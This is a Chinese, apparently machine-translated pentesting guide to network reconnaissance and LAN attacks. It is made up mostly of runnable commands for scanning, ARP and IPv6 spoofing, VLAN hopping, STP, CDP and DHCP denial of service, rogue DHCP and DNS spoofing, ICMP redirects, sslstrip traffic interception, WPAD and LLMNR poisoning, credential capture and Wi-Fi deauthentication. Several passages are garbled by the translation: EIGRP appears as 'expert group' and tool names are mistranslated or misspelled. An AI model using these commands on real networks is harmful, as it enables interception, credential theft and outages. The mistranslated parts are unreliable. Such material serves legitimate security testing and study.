目录导航
从外部发现主机
这将是一个简短的章节有关如何查找IP地址响应来自互联网。 在这种情况下,您具有一定范围的IP(甚至可能有多个范围),而您只是要查找正在响应的IP。
ICMP
这是发现主机是否启动的最简单,最快的方法。 您可以尝试发送一些ICMP数据包并期望响应。最简单的方法是发送回显请求并从响应中期望。您可以使用简单或用于range来做到这一点。ping
fping
您也可以使用nmap发送其他类型的ICMP数据包(这将避免对常见ICMP回显请求-响应的过滤器)。
ping -c 1 199.66.11.4 #1向主机的回显请求 fping -g 199.66.11.0/24# 将回显请求发送到此范围 nmap -PEPM -sP -n 199.66.11.0/24 #发送回显,时间戳请求和子网掩码请求
TCP端口发现
发现所有类型的ICMP数据包都已被过滤非常普遍。然后,您可以尝试检查打开的端口来检查主机是否启动。每个主机都有65535个端口,因此,如果您有一个“大的”范围,则无法测试每个主机的每个端口是否打开,这将花费太多时间。 然后,您需要的是快速端口扫描程序(masscan)和更多使用的端口列表:
#使用masscan在/24范围内扫描前20个nmap端口(少于5分钟) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
您也可以使用nmap来执行此步骤,但是nmap速度较慢,并且在识别主机方面有些问题。
HTTP端口发现
当您要专注于发现HTTP服务时,可以使用如下命令(默认端口).
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP端口发现
您也可以尝试检查一些UDP端口开放情况,以决定是否应该更多地关注到主机。由于UDP服务通常不对常规的空UDP探测数据包做出任何响应,因此很难说端口是被过滤还是被打开。确定此问题的最简单方法是发送与正在运行的服务相关的数据包,并且由于您不知道正在运行哪个服务,因此应根据端口号尝试最可能的方法:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 #-sV将使nmap测试每个可能的已知UDP服务数据包 #“ --version-intensity 0”将使nmap仅测试最可能的
之前建议的nmap行将测试/24范围内的每个主机中的前100个UDP端口,但即使这样,也要花费> 20min的时间。如果需要最快的结果,则可以使用udp-proto-scanner:这会将这些UDP探针发送到其预期的端口(对于/24范围,仅需1分钟):
./udp-proto-scanner.pl 199.66.11.53/24
DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp
SCTP端口发现
#可能没用,但是速度很快,为什么不尝试呢? nmap -T4 -sY -n --open -Pn <IP/范围>
攻击wifi
在这里,你可以找到在写作时所有知名的无线上网攻击一个很好的指南。
从内部发现主机
如果您在网络内部,则要做的第一件事就是发现其他主机。根据您可以/想要做的噪声多少,可以执行不同的操作:
被动的
您可以使用以下工具来被动地发现连接的网络内的主机:
netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log # Bettercap2 net.recon on/off net.show set net.show.meta true #more info
主动的
请注意,“从外部发现主机(TCP / HTTP / UDP / SCTP端口发现)”中注释的技术也可以在此处应用。 但是,由于您与其他主机位于同一网络中,因此您可以做更多的事情:
#ARP发现 nmap -sn <Network> #ARP 请求(发现 IPs) netdiscover -r <Network> #ARP 请求(发现 IPs) #NBT发现 nbtscan -r 192.168.0.1/24 #在此列表中搜索域名 # Bettercap2 (缺省情况下,发送ARP请求) net.probe on/off #激活所有服务发现和ARP net.probe.mdns #搜索本地mDNS服务(发现本地) net.probe.nbns #询问NetBios名称(发现本地) net.probe.upnp # 查询服务(本地发现) net.probe.wsd # 搜索Web服务发现(本地发现) net.probe.throttle 10 #发送请求之间的10ms(发现本地) #IPv6 alive6 <IFACE> # 发送一个pingv6到多播。
主动ICMP
请注意,“从外部发现主机(ICMP)”中注释的技术也可以在此处应用。 但是,由于您与其他主机位于同一网络中,因此您可以做更多的事情:
- 如果ping通一个子网广播地址的平应该到达每个主机,他们可以回应给你:
ping -b 10.10.5.255
- ping网络广播地址,您甚至可以在其他子网中找到主机:
ping -b 255.255.255.255
- 使用的标志执行主机发现,以发送ICMPv4 echo,timestamp和子网掩码请求:
nmap -PEPM -sP –vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan用于通过网络消息打开计算机。用来打开计算机电源的魔术包只是提供了MAC Dst的包,然后在同一包装袋内重复进行了16次。 然后,通常将此类数据包通过以太网0x0842或UDP数据包发送到端口9。 如果未提供[MAC],则将数据包发送到广播以太网(广播MAC将是重复的MAC)。
#WOL (不使用MAC ff:...:ff) wol.eth [MAC] #发送一个WOL作为原始以太网数据包类型 0x0847 wol.udp [MAC] #将WOL作为IPv4广播报文发送到UDP端口9 ## Bettercap2也可以用于此目的
扫描主机
一旦发现了要深入扫描的所有IP(外部或内部),便可以执行不同的操作。
TCP协议
- 打开端口:SYN-> SYN / ACK-> RST
- 封闭端口:SYN-> RST / ACK
- 筛选的端口:SYN-> [无响应]
- 筛选的端口:SYN-> ICMP消息
## Nmap快速扫描使用的最多的1000个tcp端口 nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> ## Nmap快速扫描所有端口 nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP> ## Nmap快速扫描所有端口,以免因-T4而失败 nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP> #Bettercap2扫描 syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP协议
扫描UDP端口有2个选项:
- 发送UDP数据包,如果端口关闭,则检查响应ICMP不可达(在某些情况下,将对ICMP进行过滤,因此当端口关闭或打开时,您将不会收到任何信息)。
- 发送格式化的数据报以引起服务的响应(例如,DNS,DHCP,TFTP和其他,如nmap-payload中所列)。如果收到响应,则说明该端口已打开。
Nmap将使用“ -sV”混合这两个选项(UDP扫描非常慢),但是请注意,UDP扫描比TCP扫描慢:
## 检查是否有最常见的udp服务正在运行 udp-proto-scanner.pl <IP> ## Nmap快速检查是否有100个最常见的UDP服务正在运行 nmap -sU -sV --version-intensity 0 -n -F -T4 <IP> ## Nmap检查是否有100个最常见的UDP服务正在运行并启动默认脚本 nmap -sU -sV -sC -n -F -T4 <IP> ## Nmap“fast”top 1000 UDP端口 nmap -sU -sV --version-intensity 0 -n -T4 <IP> ## 您可以使用nmap测试所有UDP端口,但这将花费大量时间
SCTP扫描
SCTP与TCP和UDP并存。意在提供运输的电话超过数据IP,协议复制许多的7号信令系统(SS7)的可靠性特性,并支撑被称为SIGTRAN较大协议族。包括IBM AIX,Oracle Solaris,HP-UX,Linux,Cisco IOS和VxWorks在内的操作系统均支持SCTP。
nmap提供了两种不同的SCTP扫描:-sY和-sZ
## Nmap快速SCTP扫描 nmap -T4 -sY -n -oA SCTFastScan <IP> ##Nmap所有SCTP扫描 nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
关于IDS和IPS绕过信息
****更多nmap选项****
显示内部IP地址
错误配置的路由器,防火墙和网络设备有时会使用非公共源地址来响应网络探测。您可以使用tcpdump来识别在测试过程中从专用地址接收到的数据包。在这种情况下,可以从公共Internet寻址Kali Linux中的eth2接口(如果您位于防火墙的NAT之后,则可能会过滤此类数据包)。
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
嗅探
嗅探可以通过查看捕获的帧和数据包来了解IP范围,子网大小,MAC地址和主机名的详细信息。如果网络配置错误或交换结构承受压力,攻击者可以通过被动网络嗅探捕获敏感材料。
如果正确配置了交换式以太网,则将仅看到发往MAC地址的广播帧和资料。
TCP转储
sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
Bettercap2
net.sniff on net.sniff stats net.sniff.output #输出文件 net.sniff.local #接受来自此机器的数据包 net.sniff.filter net.sniff.regexp
Wireshark
明显地。
捕获凭证
您可以使用https://github.com/lgandx/PCredz之类的工具来从pcap或实时界面中解析凭据。
局域网攻击
ARP欺骗
ARP欺骗包括发送免费的ARPRespons,以指示计算机的IP具有我们设备的MAC。然后,受害者将更改ARP表,并在每次要联系被欺骗IP时与我们的计算机联系。
Bettercap2
arp.spoof on arp.ban on # 没有ipv4重定向 arp.spoof.targets arp.spoof.whitelist arp.spoof.internal #欺骗本地连接(默认情况下只有受害者<——>网关
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding-CAM溢出
交换机的CAM表溢出,发送大量具有不同源mac地址的数据包。当CAM表已满时,交换机开始表现得像集线器一样(广播所有流量)。
macof -i <interface>
在现代交换机中,此漏洞已得到修复。
802.1Q VLAN
动态中继
默认情况下,许多交换机都支持动态中继协议(DTP),攻击者可能会滥用该协议来模拟交换机并接收所有VLAN上的流量。dtpscan.sh工具可以嗅探接口并报告交换机是否处于默认模式,中继,动态,自动或访问模式(这是唯一可以避免VLAN跳频的模式)。该工具将指示开关是否易受攻击。
如果发现网络易受攻击,则可以使用耶尔森州使用协议“ DTP ”启动“启用中继”,您将能够看到来自所有VLAN的网络数据包。
apt-get install yersinia #Installation yersinia -I #Interactive mode #在交互模式下,首先需要选择一个接口 #然后,您可以使用字母“g”选择要攻击的协议 #最后,您可以选择攻击使用字母“x”
攻击特定的VLAN
知道VLAN ID和IP值后,就可以配置虚拟接口来攻击特定的VLAN。 如果DHCP不可用,则使用ifconfig设置静态IP地址。
root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 Added VLAN with VID == 250 to IF -:eth1:- root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:19 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
自动VLAN料斗
所讨论的攻击是动态中继和创建虚拟接口内的主机发现其他VLAN的自动执行该工具:https://github.com/nccgroup/vlan-hopping—frogger
双重标记
如果攻击者知道受害者主机的MAC,IP和VLAN ID的值,则他可以尝试使用其指定的VLAN和受害者的VLAN对帧进行双重标记并发送数据包。由于受害者将无法与攻击者重新建立联系,因此对于攻击者而言,最好的选择是通过UDP与协议进行通信,而不是执行一些有趣的操作(例如SNMP)。
攻击者的另一种选择是启动TCP端口扫描,以欺骗由攻击者控制的IP,并且受害者可以(可能是通过Internet)访问该IP。然后,如果攻击者从受害者那里收到了一些数据包,则它可能会嗅探到他拥有的第二个主机。
第3层专用VLAN旁路
在来宾无线网络和其他环境中,专用VLAN(也称为端口隔离)设置用于防止对等方进行交互(即,客户端连接到无线访问点但不能互相寻址)。根据网络ACL(或缺少ACL),可能有可能将IP数据包发送到路由器,然后再转发回相邻的对等方。
这种攻击会将特制的数据包发送到客户端的IP,但带有路由器的MAC。然后,路由器会将数据包重定向到客户端。与双重标记攻击一样,您可以通过控制受害者可以访问的主机来利用此漏洞。
STP攻击
如果无法在接口上捕获BPDU帧,则成功进行STP攻击的可能性很小。
STP BPDU DoS
发送大量BPDU TCP(拓扑更改通知)或Conf(创建拓扑时发送的BPDU)会使交换机过载,并且无法正常工作。
yersina stp -attack 2 yersina stp -attack 3 #使用-M禁用MAC欺骗
STP TCP攻击
发送TCP消息后,交换机的CAM表将在15秒内删除。然后,如果您连续发送此类数据包,则CAM表将连续重新启动(或每15segs),并且在重新启动时,交换机将充当集线器
yersina stp -attack 1 #将发送一个TCP包和交换机应该恢复CAM在15秒 yersina stp -attack 0 #发送1个CONF数据包,不会发生其他事情
STP root攻击
攻击者模拟交换机的行为,使其成为网络的STP root。然后,更多数据将通过他。当您连接到两个不同的交换机时,这很有趣。 这是通过发送BPDU CONF数据包来完成的,该数据包说优先级值小于实际根交换机的实际优先级。
yersina stp -attack 4 #行为像root开关 yersina stp -attack 5 #这将使设备表现为一个开关,但不是root
如果攻击者连接到2台交换机,则他可以成为新树的root,并且这些交换机之间的所有流量都将通过他(将执行MITM攻击)。
yersina stp -attack 6 #这将导致DoS,因为第2层数据包不会被转发。你可以使用Ettercap转发那些数据包“嗅探”——>“桥接嗅探” ettercap -T -i eth1 -B eth2 -q #在两个接口之间设置桥接,转发数据包
CDP攻击
CISCO发现协议是CISCO设备用于在它们之间进行交谈,发现谁还活着以及具有什么功能的协议。您可以通过用尽模拟真实CISCO设备的设备内存来对CISCO交换机进行DoS攻击。
您可以用来捕获CDP帧并显示信息Yersina
sudo yersinia cdp -attack 1 #DoS攻击模拟新的思科设备 sudo yersinia cdp -attack 2 #模拟一个新的思科设备 sudo yersinia cdp -attack 0 #发送CDP报文
您也可以使用scapy。确保与软件包一起安装。scapy/contrib
DHCP
枚举
nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT WARNING: No targets were specified, so 0 hosts scanned. Pre-scan script results: | broadcast-dhcp-discover: | Response 1 of 1: | IP Offered: 192.168.1.250 | DHCP Message Type: DHCPOFFER | Server Identifier: 192.168.1.1 | IP Address Lease Time: 1m00s | Subnet Mask: 255.255.255.0 | Router: 192.168.1.1 | Domain Name Server: 192.168.1.1 |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
拒绝服务
可以针对DHCP服务器执行两种类型的DoS。第一个是模拟足够多的假主机以使用所有可能的IP地址。 仅当您看到DHCP服务器的响应并完成协议(发现(比较)->提供(服务器)->请求(比较)-> ACK(服务器))时,此攻击才会起作用。例如,在Wifi网络中这是不可能的。
执行DHCP DoS的另一种方法是使用每个可能的IP作为源代码发送DHCP-RELEASE数据包。然后,服务器将认为每个人都已经使用完IP。
yersinia dhcp -attack 1 yersinia dhcp -attack 3 #需要更多的参数
这样做的一个更加自动化的方法是使用工具DHCPing
您可以使用上述的DoS攻击来迫使客户端在环境中获取新的租约,并耗尽合法的服务器,以使它们无法响应。因此,当合法尝试重新连接时,您可以服务器下次攻击中提到的恶意值。
设置恶意值
您可以使用Responder DHCP脚本(/usr/share/responder/DHCP.py)建立恶意DHCP服务器。设置恶意网关是不理想的,因为被劫持的连接仅是半双工的(即,我们捕获来自客户端的出口数据包,而不捕获合法网关的响应)。因此,我建议设置一个恶意DNS或WPAD服务器,以特别捕获HTTP流量和凭据。
描述 | 例子 |
我们的IP地址,广告为网关 | -i 10.0.0.100 |
本地DNS域名(可选) | -d example.org |
原始路由器/网关的IP地址 | -r 10.0.0.1 |
主DNS服务器IP地址 | -p 10.0.0.100 |
备用DNS服务器IP地址(可选) | -s 10.0.0.1 |
本地网络的子网掩码 | -n 255.255.255.0 |
监听DHCP流量的接口 | -I eth1 |
WPAD配置地址(URL) | -w“ http://10.0.0.100/wpad.dat\n” |
欺骗默认网关IP地址 | -S |
响应所有DHCP请求(非常嘈杂) | -R |
EAP
以下是一些可用于802.1X实现的攻击策略:
- 通过EAP进行主动暴力破解密码
- 使用格式错误的EAP内容**攻击RADIUS服务器(漏洞)
- EAP消息捕获和离线密码破解(EAP-MD5和PEAP)
- 强制EAP-MD5身份验证绕过TLS证书验证
- 使用集线器或类似设备进行身份验证时注入恶意网络流量
如果攻击者位于受害者和身份验证服务器之间,则他可以尝试将身份验证协议降级为EAP-MD5(如有必要),并捕获身份验证尝试。然后,他可以使用以下方法强行执行此操作:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
HSRP和VRRP
在高可用性环境中使用热备路由协议(HSRP)和虚拟路由器冗余协议(VRRP)来提供故障转移支持。路由器将数据包发送到本地多播组,以宣布配置和优先级详细信息。
HSRP是没有RFC的专有Cisco协议,而VRRP是标准化的。要评估环境中的HSRP和VRRP支持,请使用网络嗅探器捕获管理流量。您可以使用多种工具来制作HSRP消息(包括Scapy和Yersinia),但是目前只有Loki提供VRRP支持。
有关如何攻击此协议的更多信息,请参阅《网络安全评估:了解您的网络》(第3版)。
RIP
存在三种版本的路由信息协议(RIP)-RIP,RIPv2和RIPng。RIP和RIPv2使用通过端口520发送给对等方的UDP数据报,而RIPng通过IPv6组播将数据报广播到UDP端口521。RIPv2引入了MD5身份验证支持。RIPng不包含本地身份验证;相反,它依赖于IPv6中的可选IPsec AH和ESP标头。
有关如何攻击此协议的更多信息,请参阅《网络安全评估:了解您的网络》(第3版)。
专家组
增强型内部网关路由协议(EIGRP)是Cisco专有的,可以在有或没有身份验证的情况下运行。__ Coly支持捕获EIGRP广播和注入数据包以操纵路由配置。
有关如何攻击此协议的更多信息,请参阅《网络安全评估:了解您的网络》(第3版)。
OSPF协议
大多数开放式最短路径优先(OSPF)实现都使用MD5在路由器之间提供身份验证。洛基(Loki)和开膛手约翰(John the Ripper)可以捕获并攻击MD5散列以揭示密钥,然后将其用于发布新路径。通过使用“注入”选项卡以及在“连接”下设置的键来设置路径参数。
有关如何攻击此协议的更多信息,请参阅《网络安全评估:了解您的网络》(第3版)。
****
您可以在此处找到有关网络攻击的更多信息。**(待办事项:请阅读全部内容和所有新攻击)
Spoofing
攻击者配置发送虚假DHCP响应的网络新成员的所有网络参数(GW,IP,DNS)。
Ettercap yersinia dhcp -attack 2 #需要更多的参数
ICMP重定向
ICMP重定向包括发送一个ICMP数据包类型1代码5,该代码表示攻击者是到达IP的最佳方法。然后,当受害者想要联系IP时,它将通过攻击者发送数据包。
Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #发送icmp到[1]从[2]路由到[3]从[5]发送到[4]的报文
DNS欺骗
攻击者将解析受害者要求的某些(或全部)域。
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
使用dnsmasq配置自己的DNS
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # 测试配置的DNS
本地网关
到系统和网络的多条路由经常存在。在本地网络中建立MAC地址列表后,请使用gateway-finder.py来标识支持IPv4转发的主机。
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ root@kali:~# arp-scan -l | tee hosts.txt Interface: eth0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 10.0.0.100 00:13:72:09:ad:76 Dell Inc. 10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION 10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp. root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99 gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] Using interface eth0 (-I to change) [+] Found 3 MAC addresses in hosts.txt [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
欺骗LLMNR,NBT-NS和mDNS
当DNS查找失败时,Microsoft系统会将链接本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)用于本地主机解析。Apple Bonjour和Linux零配置实现使用多播DNS(mDNS)来发现网络中的系统。这些协议未经身份验证,并通过UDP广播消息。因此,攻击者可以利用它们将用户定向到恶意服务。
您可以使用Responder模拟主机搜索的服务,以发送虚假响应。 在此处阅读有关如何使用Responder模拟服务的更多信息。
欺骗WPAD
许多浏览器使用Web代理自动发现(WPAD)从网络加载代理设置。WPAD服务器在通过以下任一方式被标识后,会通过特定的URL(例如http://wpad.example.org/wpad.dat)提供客户端代理设置:
- DHCP,使用代码252条目34
- DNS,在本地域中搜索wpad主机名
- Microsoft LLMNR和NBT-NS(如果DNS查找失败)
响应程序自动执行WPAD攻击-运行代理并将客户端通过DHCP,DNS,LLMNR和NBT-NS定向到恶意WPAD服务器。 在此处阅读有关如何使用Responder模拟服务的更多信息。
欺骗SSDP和UPnP设备
您可以在网络中提供不同的服务,以尝试诱骗用户输入一些纯文本凭据。有关 欺骗SSDP和UPnP设备的详细信息。
IPv6邻居欺骗
此攻击与ARP欺骗非常相似,但在IPv6领域中。您可以使受害者认为GW的IPv6具有攻击者的MAC。
sudo parasite6 -l eth0 # 此选项将响应欺骗所请求地址的每个请求 sudo fake_advertise6 -r -w 2 eth0 #该选项将每2秒发送一次邻居通告报文
IPv6路由器广告欺骗/泛洪
默认情况下,某些操作系统会根据网络中发送的RA数据包配置网关。要将攻击者声明为IPv6路由器,可以使用:
sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via <ROUTER_IPv6> dev wlan0 fake_router6 wlan0 fe80::01/16
IPv6 DHCP欺骗
默认情况下,某些操作系统尝试配置DNS以读取网络中的DHCPv6数据包。然后,攻击者可以发送DHCPv6数据包以将自己配置为DNS。DHCP还向受害者提供了IPv6。
dhcp6.spoof on dhcp6.spoof.domains <list of domains> mitm6
HTTP(伪造页面和JS代码注入)
互联网攻击
sslStrip
基本上,此攻击的作用是在用户尝试访问重定向到HTTPS版本的HTTP页面的情况下。sslStrip将保持一个与HTTP连接的客户端和一个与HTTPS连接的服务器,以便其没有能够嗅探在连接纯文本。
apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k #iptables --flush #iptables --flush -t nat iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
更多信息在这里。

sslStrip +和dns2proxy绕过HSTS
该差异之间sslStrip +和dns2proxy对sslStrip是,他们将重定向例如www.facebook.com到wwww.facebook.com(注意额外的“ w ^ ”),并设置该域为攻击者的IP地址。这样,客户端将连接到wwww.facebook.com(攻击者),但在幕后sslstrip +将保持在实际的连接通过https与www.facebook.com。
这项技术的目的是避免HSTS,因为wwww .facebook.com不会保存在浏览器的缓存中,因此将欺骗浏览器在HTTP中执行facebook身份验证。 请注意,为了执行此攻击,受害者必须尝试首先访问http://www.faceook.com而不是https。可以通过修改http页面内的链接来完成此操作。
sslStrip或sslStrip +不再起作用。这是因为浏览器中保留有HSTS规则,因此即使这是用户首次访问“重要”域,他也将通过HTTPS访问该规则。另外,请注意,预先保存的规则和其他生成的规则可以使用该标志, 因此之前的wwww.facebook.com示例将不再起作用,因为facebook.com将HSTS与一起使用。includeSubdomains
includeSubdomains
待办事项:easy-creds,evilgrade,metasploit,factory
TCP监听端口
sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL监听端口
生成密钥和自签名证书
FILENAME=server # Generate a public/private key pair: openssl genrsa -out $FILENAME.key 1024 # Generate a self signed certificate: openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
用证书监听
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
使用证书进行侦听并重定向到主机
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
有时,如果客户端检查CA是否有效,则可以提供由CA签名的其他主机名的证书。 另一个有趣的测试是提供所请求的主机名的证书,但必须是自签名的。
要测试的其他事项是尝试使用不是有效CA的有效证书对证书进行签名。或使用有效的公钥,强制将算法用作diffie hellman(不需要使用真实私钥解密任何内容的算法),并且当客户端请求对真实私钥的探测(例如哈希)时,发送一个算法假探针,并希望客户端不会对此进行检查。
Bettercap 2
## Events events.stream off #Stop showing events events.show #Show all events events.show 5 #Show latests 5 events events.clear ## Ticker (loop of commands) set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on ## Caplets caplets.show caplets.update ## Wifi wifi.recon on wifi.deauth BSSID wifi.show # Fake wifi set wifi.ap.ssid Banana set wifi.ap.bssid DE:AD:BE:EF:DE:AD set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap
活动发现说明
请注意,当UDP数据包发送到没有请求的端口的设备时,会发送ICMP(端口不可达)。
ARP发现
ARP数据包用于发现网络内部正在使用的IP。PC必须为每个可能的IP地址发送一个请求,只有正在使用的IP地址才会响应。
mDNS(多播DNS)
Bettercap发送一个MDNS请求(每X毫秒),要求_services_.dns-sd._udp.local看到该paket的计算机通常会对此请求进行响应。然后,它仅搜索回答“服务”的机器。
工具
- Avahi浏览器(-全部)
- Bettercap(net.probe.mdns)
- Responder
NBNS(NetBios名称服务器)
Bettercap将广播数据包广播到端口137 / UDP,询问其名称为“ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
SSDP(简单服务发现协议)
Bettercap广播的SSDP数据包可搜索所有类型的服务(UDP端口1900)。
WSD(Web服务发现)
Bettercap广播WSD数据包以搜索服务(UDP端口3702)。